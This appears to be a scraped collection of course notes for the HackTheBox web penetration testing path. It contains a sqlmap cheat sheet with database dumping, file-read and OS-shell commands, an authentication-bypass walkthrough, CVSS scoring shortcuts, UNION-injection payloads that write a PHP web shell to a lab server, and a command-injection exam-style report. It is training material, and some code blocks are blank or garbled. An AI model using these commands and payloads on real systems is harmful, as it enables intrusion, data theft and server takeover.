`sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba`
Basic DB enumeration
`sqlmap -u "http://www.example.com/?id=1" --tables -D testdb`
Table enumeration
`sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname`
Table/row enumeration
`sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"`
Conditional enumeration
`sqlmap -u "http://www.example.com/?id=1" --schema`
Database schema enumeration
`sqlmap -u "http://www.example.com/?id=1" --search -T user`
Searching for data
`sqlmap -u "http://www.example.com/?id=1" --passwords --batch`
Password enumeration and cracking
`sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"`
Anti-CSRF token bypass
`sqlmap --list-tampers`
List all tamper scripts
`sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba`
Check for DBA privileges
`sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"`
Reading a local file
`sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"`
Writing a file
`sqlmap -u "http://www.example.com/?id=1" --os-shell`
Spawning an OS shell
download cheat sheet
[Sqlmap\_Essentials\_Module\_Cheat\_Sheet.pdf](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FV0ZB3MQQZsvs3eVhUIof%2FSqlmap_Essentials_Module_Cheat_Sheet.pdf?alt=media&token=cfccf0f5-ca7b-4175-b94b-adaf220cc30e)
PDF · 677KB
Download[Open](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FV0ZB3MQQZsvs3eVhUIof%2FSqlmap_Essentials_Module_Cheat_Sheet.pdf?alt=media&token=cfccf0f5-ca7b-4175-b94b-adaf220cc30e)
[PreviousRewalk](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk)
[NextExploitation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation)
Last updated 9 months ago
---
# Authentication Bypass via Direct Access | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access.md)
.
* * *
After discussing various attacks on flawed authentication implementations, this section will showcase vulnerabilities that allow for the complete bypassing of authentication mechanisms.
* * *
### Direct Access[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access#direct-access)
The most straightforward way of bypassing authentication checks is to request the protected resource directly from an unauthenticated context. An unauthenticated attacker can access protected information if the web application does not properly verify that the request is authenticated.
For instance, let us assume that we know that the web application redirects users to the `/admin.php` endpoint after successful authentication, providing protected information only to authenticated users. If the web application relies solely on the login page to authenticate users, we can access the protected resource directly by accessing the `/admin.php` endpoint.
While this scenario is uncommon in the real world, a slight variant occasionally happens in vulnerable web applications. To illustrate the vulnerability, let us assume a web application uses the following snippet of PHP code to verify whether a user is authenticated:
Code: php
Copy
if(!$_SESSION['active']) {
header("Location: index.php");
}
This code redirects the user to `/index.php` if the session is not active, i.e., if the user is not authenticated. However, the PHP script does not stop execution, resulting in protected information within the page being sent in the response body:

HTTP request and response. Request: GET /admin.php. Response: 302 Found, redirects to index.php. Includes HTML head with links to stylesheets and Google Fonts.
As we can see, the entire admin page is contained in the response body. However, if we attempt to access the page in our web browser, the browser follows the redirect and displays the login prompt instead of the protected admin page. We can easily trick the browser into displaying the admin page by intercepting the response and changing the status code from `302` to `200`. To do this, enable `Intercept` in Burp. Afterward, browse to the `/admin.php` endpoint in the web browser. Next, right-click on the request and select `Do intercept > Response to this request` to intercept the response:

HTTP request to /admin.php on 172.17.0.2. Intercept is on. Context menu options include sending to various tools, changing request method, and copying URL. Inspector shows request details.
Afterward, forward the request by clicking on `Forward`. Since we intercepted the response, we can now edit it. To force the browser to display the content, we need to change the status code from `302 Found` to `200 OK`:

HTTP response from /admin.php on 172.17.0.2. Status: 200 OK. Server: Apache/2.4.59 (Debian). Content-Type: text/html; charset=UTF-8. Content-Length: 14465. Intercept is on.
Afterward, we can forward the response. If we switch back to our browser window, we can see that the protected information is rendered:
arrow-circle-left redo home

To prevent the protected information from being returned in the body of the redirect response, the PHP script needs to exit after issuing the redirect:
Code: php
#### Apply what you learned in this section to bypass authentication to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access#apply-what-you-learned-in-this-section-to-bypass-authentication-to-obtain-the-flag)
You can view the initial request to the /admin.php page, and see that part of the page is revealed regardless, so from here you can get the flag

Send to repeater

Than from there we can copy as curl command if you right click the request, this will reveal the admin page
We can also just do it as the module taught


A: HTB{913ab2d84b8db21854c696dee1f1db68}
[PreviousAuthentication Bypass](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass)
[NextAuthentication Bypass via Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification)
Last updated 9 months ago
Copy
if(!$_SESSION['active']) {
header("Location: index.php");
exit;
}
Copy
┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Password-Attacks]
└─$ curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: 94.237.52.164:49988' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
-b $'PHPSESSID=ooeustomdnjk0cbuaquf9rh4dd' \
$'http://94.237.52.164:49988/admin.php'
HTTP/1.1 302 Found
Date: Thu, 06 Nov 2025 19:33:09 GMT
Server: Apache/2.4.59 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: index.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Madmin
┌──(kali㉿kali)-[~/Offensive-Python/14. Broken-Authentication/Password-Attacks]
└─$
---
# CVSS Scoring | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring.md)
.
Here’s **exactly how you calculate the CVSS score during an exam scenario**, step-by-step, using SQL Injection as the example (but this process works for _any_ vulnerability you find on the HTB CWES exam).
This will give you **fast, accurate, defendable CVSS scoring under pressure**.
* * *
✅ **1\. Use Only the CVSS Base Score (v3.1)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-1.-use-only-the-cvss-base-score-v3.1)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
HTB CWES **always** wants the _Base Score_. You do **NOT** score Temporal or Environmental metrics.
Base score uses these 8 metrics:
1. **Attack Vector (AV)**
2. **Attack Complexity (AC)**
3. **Privileges Required (PR)**
4. **User Interaction (UI)**
5. **Scope (S)**
6. **Confidentiality Impact (C)**
7. **Integrity Impact (I)**
8. **Availability Impact (A)**
* * *
✅ **2\. Use the Simple “Exam-Safe CVSS Decision Tree”**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-2.-use-the-simple-exam-safe-cvss-decision-tree)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
This is the fastest possible way to score SQLi-like vulnerabilities.
* * *
🧩 **Step-by-Step CVSS Scoring for SQL Injection**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#step-by-step-cvss-scoring-for-sql-injection)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
### **Attack Vector (AV)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-vector-av)
❓ _Can the attack be done over the network?_ Yes → **AV:N (Network)**
### **Attack Complexity (AC)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-complexity-ac)
❓ _Is the exploitation straightforward?_ SQLi payloads are reliable → **AC:L (Low)**
### **Privileges Required (PR)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#privileges-required-pr)
❓ _Do I need to be logged in?_
* If SQLi is in login/register → **PR:N**
* If SQLi is in authenticated search/features → **PR:L**
HTB usually gives both types.
### **User Interaction (UI)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#user-interaction-ui)
❓ _Do I need the victim to click something?_ No → **UI:N**
### **Scope (S)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scope-s)
❓ _Does the vulnerability allow escaping the application’s security boundary?_ If SQLi → RCE or file read → **S:C (Changed)** If SQLi only dumps data → **S:U (Unchanged)**
HTB exam rule of thumb:
* SQLi → DB dump → **S:U**
* SQLi → File read / RCE → **S:C**
### **Impact Metrics (C, I, A)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#impact-metrics-c-i-a)
#### **Confidentiality (C)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#confidentiality-c)
SQLi nearly always dumps sensitive data → **C:H (High)**
#### **Integrity (I)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#integrity-i)
If you can modify DB (INSERT/UPDATE) → **I:H (High)**
#### **Availability (A)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#availability-a)
If you can break things or execute commands → **A:H (High)** If only reading data → **A:L** or **A:N**
* * *
🧮 **3\. Put It All Together Using the Formula**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-3.-put-it-all-together-using-the-formula)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
You don’t need the math. Just plug the values into the official calculator:
👉 [https://www.first.org/cvss/calculator/3.1](https://www.first.org/cvss/calculator/3.1)
HTB accepts this.
* * *
🛠️ **4\. Example CVSS Scores for SQL Injection (Memorize These for the Exam)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-4.-example-cvss-scores-for-sql-injection-memorize-these-for-the-exam)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
#### **Scenario A — Unauthenticated SQL Injection → DB Dump**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-a-unauthenticated-sql-injection-db-dump)
**Score ≈ 9.8 – Critical**
This is the **standard SQL Injection score**.
* * *
#### **Scenario B — Authenticated SQL Injection → DB Dump**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-b-authenticated-sql-injection-db-dump)
**Score ≈ 8.8 – High**
* * *
#### **Scenario C — SQL Injection → Arbitrary File Read**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scenario-c-sql-injection-arbitrary-file-read)
This breaks application boundary → **Scope Changed**
**Score ≈ 10.0 – Critical**
_Any SQLi → RCE or → File Write is automatically a 10._
* * *
🧠 **5\. Exam Shortcut: Fast CVSS Scoring Table (Remember This)**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-5.-exam-shortcut-fast-cvss-scoring-table-remember-this)
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Scenario
CVSS Score
Why
Unauthenticated SQLi
**9.8**
No auth, full compromise
Authenticated SQLi
**8.8**
Login required
SQLi → File Read / Config Read
**10.0**
Scope Changed
SQLi → File Write
**10.0**
Scope Changed
SQLi → RCE
**10.0**
Complete takeover
If you’re ever unsure → choose the **safer / slightly higher** score. HTB does **not** penalize conservative estimates as long as your reasoning is sound.
[PreviousCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cheat-sheet)
[NextSQLMap Overview](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview)
Last updated 8 months ago
* [✅ 1. Use Only the CVSS Base Score (v3.1)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-1.-use-only-the-cvss-base-score-v3.1)
* [✅ 2. Use the Simple “Exam-Safe CVSS Decision Tree”](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-2.-use-the-simple-exam-safe-cvss-decision-tree)
* [🧩 Step-by-Step CVSS Scoring for SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#step-by-step-cvss-scoring-for-sql-injection)
* [Attack Vector (AV)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-vector-av)
* [Attack Complexity (AC)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#attack-complexity-ac)
* [Privileges Required (PR)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#privileges-required-pr)
* [User Interaction (UI)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#user-interaction-ui)
* [Scope (S)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#scope-s)
* [Impact Metrics (C, I, A)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#impact-metrics-c-i-a)
* [🧮 3. Put It All Together Using the Formula](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-3.-put-it-all-together-using-the-formula)
* [🛠️ 4. Example CVSS Scores for SQL Injection (Memorize These for the Exam)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-4.-example-cvss-scores-for-sql-injection-memorize-these-for-the-exam)
* [🧠 5. Exam Shortcut: Fast CVSS Scoring Table (Remember This)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/cvss-scoring#id-5.-exam-shortcut-fast-cvss-scoring-table-remember-this)
Copy
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:L
Copy
AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:L
Copy
AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H
---
# Writing Files | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files.md)
.
* * *
When it comes to writing files to the back-end server, it becomes much more restricted in modern DBMSes, since we can utilize this to write a web shell on the remote server, hence getting code execution and taking over the server. This is why modern DBMSes disable file-write by default and require certain privileges for DBA's to write files. Before writing files, we must first check if we have sufficient rights and if the DBMS allows writing files.
* * *
### Write File Privileges[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#write-file-privileges)
To be able to write files to the back-end server using a MySQL database, we require three things:
1. User with `FILE` privilege enabled
2. MySQL global `secure_file_priv` variable not enabled
3. Write access to the location we want to write to on the back-end server
We have already found that our current user has the `FILE` privilege necessary to write files. We must now check if the MySQL database has that privilege. This can be done by checking the `secure_file_priv` global variable.
**secure\_file\_priv**
The [secure\_file\_priv](https://mariadb.com/kb/en/server-system-variables/#secure_file_priv)
variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand, `NULL` means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the `FILE` privilege. However, `MySQL` uses `/var/lib/mysql-files` as the default folder. This means that reading files through a `MySQL` injection isn't possible with default settings. Even worse, some modern configurations default to `NULL`, meaning that we cannot read/write files anywhere within the system.
So, let's see how we can find out the value of `secure_file_priv`. Within `MySQL`, we can use the following query to obtain the value of this variable:
Code: sql
Copy
SHOW VARIABLES LIKE 'secure_file_priv';
However, as we are using a `UNION` injection, we have to get the value using a `SELECT` statement. This shouldn't be a problem, as all variables and most configurations' are stored within the `INFORMATION_SCHEMA` database. `MySQL` global variables are stored in a table called [global\_variables](https://dev.mysql.com/doc/refman/5.7/en/information-schema-variables-table.html)
, and as per the documentation, this table has two columns `variable_name` and `variable_value`.
We have to select these two columns from that table in the `INFORMATION_SCHEMA` database. There are hundreds of global variables in a MySQL configuration, and we don't want to retrieve all of them. We will then filter the results to only show the `secure_file_priv` variable, using the `WHERE` clause we learned about in a previous section.
The final SQL query is the following:
Code: sql
So, similar to other `UNION` injection queries, we can get the above query result with the following payload. Remember to add two more columns `1` & `4` as junk data to have a total of 4 columns':
Code: sql

And the result shows that the `secure_file_priv` value is empty, meaning that we can read/write files to any location.
* * *
### SELECT INTO OUTFILE[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#select-into-outfile)
Now that we have confirmed that our user should write files to the back-end server, let's try to do that using the `SELECT .. INTO OUTFILE` statement. The [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/)
statement can be used to write data from select queries into files. This is usually used for exporting data from tables.
To use it, we can add `INTO OUTFILE '...'` after our query to export the results into the file we specified. The below example saves the output of the `users` table into the `/tmp/credentials` file:
Writing Files
If we go to the back-end server and `cat` the file, we see that table's content:
Writing Files
It is also possible to directly `SELECT` strings into files, allowing us to write arbitrary files to the back-end server.
Code: sql
When we `cat` the file, we see that text:
Writing Files
Writing Files
As we can see above, the `test.txt` file was created successfully and is owned by the `mysql` user.
Tip: Advanced file exports utilize the 'FROM\_BASE64("base64\_data")' function in order to be able to write long/advanced files, including binary data.
* * *
### Writing Files through SQL Injection[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-files-through-sql-injection)
Let's try writing a text file to the webroot and verify if we have write permissions. The below query should write `file written successfully!` to the `/var/www/html/proof.txt` file, which we can then access on the web application:
Code: sql
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use `load_file` to read the server configuration, like Apache's configuration found at `/etc/apache2/apache2.conf`, Nginx's configuration at `/etc/nginx/nginx.conf`, or IIS configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using [this wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt)
or [this wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt)
. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.
The `UNION` injection payload would be as follows:
Code: sql

We don’t see any errors on the page, which indicates that the query succeeded. Checking for the file `proof.txt` in the webroot, we see that it indeed exists:

Note: We see the string we dumped along with '1', '3' before it, and '4' after it. This is because the entire 'UNION' query result was written to the file. To make the output cleaner, we can use "" instead of numbers.
* * *
### Writing a Web Shell[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-a-web-shell)
Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder. We can write the following PHP webshell to be able to execute commands directly on the back-end server:
Code: php
We can reuse our previous `UNION` injection payload, and change the string to the above, and the file name to `shell.php`:
Code: sql
', “ “, “ “ into outfile '/var/www/html/shell.php'-- -'>

Once again, we don't see any errors, which means the file write probably worked. This can be verified by browsing to the `/shell.php` file and executing commands via the `0` parameter, with `?0=id` in our URL:

The output of the `id` command confirms that we have code execution and are running as the `www-data` user.
**Questions**
Answer the question(s) below to complete this Section and earn cubes!
Target(s): 94.237.63.132:49406

Now when visiting the /shell.php?0=id, we can see proof of concept for remote code execution.

Now I can manipulate the 0 variable to give information about the system, in this example I typed ls to show contents of it's current directory.

I went back a directory to search for a flag file, as you see there is a flag.txt file hiding here

Finally I cat'ed the flag.txt file to reveal the flag

d2b5b27ae688b6a0f1d21b7d3a0798cd
[PreviousReading Files](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/reading-files)
[NextMitigating SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection)
Last updated 1 year ago
* [Write File Privileges](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#write-file-privileges)
* [SELECT INTO OUTFILE](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#select-into-outfile)
* [Writing Files through SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-files-through-sql-injection)
* [Writing a Web Shell](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/exploitation/writing-files#writing-a-web-shell)
Copy
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
Copy
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
Copy
SELECT * from users INTO OUTFILE '/tmp/credentials';heh
Copy
hack3rSWE@htb[/htb]$ cat /tmp/credentials
1 admin 392037dbba51f692776d6cefb6dd546d
2 newuser 9da2c9bcdf39d8610954e0e11ea8f45f
Copy
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
Copy
hack3rSWE@htb[/htb]$ cat /tmp/test.txt
this is a test
Copy
hack3rSWE@htb[/htb]$ ls -la /tmp/test.txt
-rw-rw-rw- 1 mysql mysql 15 Jul 8 06:20 /tmp/test.txt
Copy
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
Copy
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
Copy
Copy
cn' union select "",'', "", "" into outfile '/var/www/html/shell.php'-- -
Copy
// Payload for writing webshell to /var/www/html/shell.php
cn' union select "",'', "", "" into outfile '/var/www/html/shell.php'-- -
Copy
shell.php?0=ls ..
Copy
shell.php?0=cat ../flag.txt
---
# Exam Style Write Up | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up.md)
.
* * *
**HTB CWES Exam‑Style Report — Command Injection Skill Assessment**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#htb-cwes-exam-style-report-command-injection-skill-assessment)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
### **1\. Executive Summary**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-1.-executive-summary)
During the assessment of the HTB Academy Command Injection challenge, a critical **OS Command Injection** vulnerability was identified within the “Move File” functionality of the target web application. The vulnerable endpoint failed to properly sanitize user-controlled parameters (`from`, `to`, `copy`, `move`) and allowed the execution of arbitrary system-level commands, ultimately leading to **remote code execution (RCE)** and full compromise of the underlying host.
Using controlled payload injection, the attacker gained shell-level execution via Bash command decoding and successfully retrieved `/flag.txt`.
* * *
### **2\. Vulnerability Details**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-2.-vulnerability-details)
#### **Vulnerability Type:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#vulnerability-type)
**OS Command Injection (Unauthenticated after login)**
#### **Relevant Weaknesses:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#relevant-weaknesses)
* **CWE‑78: Improper Neutralization of Special Elements Used in an OS Command ('OS Command Injection')**
* **CWE‑88: Improper Neutralization of Argument Delimiters in Command (‘Argument Injection’)**
* **CWE‑20: Improper Input Validation**
#### **Common Real CVEs Mapping (for context):**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#common-real-cves-mapping-for-context)
Not from this target, but similar real-world issues include:
* **CVE‑2014‑6271 (Shellshock)** – Bash environment variable injection
* **CVE‑2021‑41773** – Apache path traversal → code execution
* **CVE‑2022‑42889 (Text4Shell)** – RCE via unsafe string interpolation
These CVEs mirror the same **root cause class**: user input passed directly into shell execution.
* * *
### **3\. Attack Chain Overview**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-3.-attack-chain-overview)
1. **User logs in with guest / guest credentials.**
2. File management interface exposes a “Move” action using multiple user-controlled parameters.
3. BurpSuite identifies a request containing injectable parameters (`To=`).
4. Newline injection (`%0a`) triggers command interpretation.
5. Application returns error output consistent with partial execution → confirmed injection point.
6. Payload encoded using Base64 to bypass filters.
7. Bash decodes and executes attacker-supplied commands.
8. Attacker enumerates filesystem and retrieves `/flag.txt`.
* * *
### **4\. Exploitation Walkthrough (Exam Format)**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-4.-exploitation-walkthrough-exam-format)
#### **Step 1 — Authentication**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-1-authentication)
Logged into the application using the provided credentials:
#### **Step 2 — Identify Injection Point**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-2-identify-injection-point)
Inside the file manager, selecting **Move** generates the following request:
BurpSuite shows four user-controlled parameters, all potential injection surfaces.
#### **Step 3 — Initial Injection Test**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-3-initial-injection-test)
A newline is inserted into the `To=` parameter:
The server returns an error → confirming the backend is interpreting command context.
#### **Step 4 — Bypassing Filters**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-4-bypassing-filters)
A Base64 payload is crafted:
Inserted into a Bash-decoding execution chain:
**Result:** The server outputs the executing user → confirming RCE.
#### **Step 5 — Directory Enumeration**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-5-directory-enumeration)
Enumerating directories:
Payload:
Output shows `flag.txt` in root (`/`).
#### **Step 6 — Retrieve Flag**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#step-6-retrieve-flag)
Encoding final read command:
Payload:
#### **Final Result:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#final-result)
**The contents of the flag were successfully extracted.**
* * *
### **5\. CVSS v3.1 Scoring (Exam‑Oriented Breakdown)**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-5.-cvss-v3.1-scoring-exam-oriented-breakdown)
**Attack Vector (AV):** Network → **N** **Attack Complexity (AC):** Low → **L** **Privileges Required (PR):** Low (requires login) → **L** **User Interaction (UI):** None → **N** **Scope (S):** Changed (executes OS-level commands) → **C** **Confidentiality (C):** High → **H** **Integrity (I):** High → **H** **Availability (A):** High → **H**
#### **CVSS Vector:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#cvss-vector)
#### **Base Score Calculation:**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#base-score-calculation)
1. **Exploitability:** = 8.22
2. **Impact:** = 7.52
3. **Final Score:** **CVSS Score ≈ 9.9 (Critical)**
This score aligns with real-world RCE vulnerabilities.
* * *
### **6\. Root Cause Analysis**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-6.-root-cause-analysis)
The backend processes user input directly in shell commands without:
* input sanitization
* argument escaping
* context-aware filtering
* a safe API (e.g., no subprocess wrapper)
Additionally:
❌ No server-side validation ❌ No allow-listing of file paths ❌ No command wrapping or chroot ❌ Multiple parameters accept unsanitized data
This allows newline injection (`%0a`) to break context and execute arbitrary commands.
* * *
### **7\. Impact Assessment**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-7.-impact-assessment)
**Successful exploitation allows the attacker to:**
* Execute arbitrary Bash commands
* Read and modify system files
* Gain full OS-level control
* Exfiltrate sensitive data
* Potentially escalate privileges
* Fully compromise the host
In a real environment, this would be an immediate **severity 0** incident requiring emergency response.
* * *
### **8\. Recommended Remediation**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#id-8.-recommended-remediation)
#### **Short Term**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#short-term)
* Disable vulnerable endpoint
* Implement server-side input sanitization
* Reject newline / metacharacters
* Enforce path allow-listing
#### **Long Term**[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/exam-style-write-up#long-term)
* Replace shell execution with safe library calls
* Use parameterized functions instead of string concatenation
* Implement RASP / WAF command injection signatures
* Deploy full security review of all file-handling features
* * *
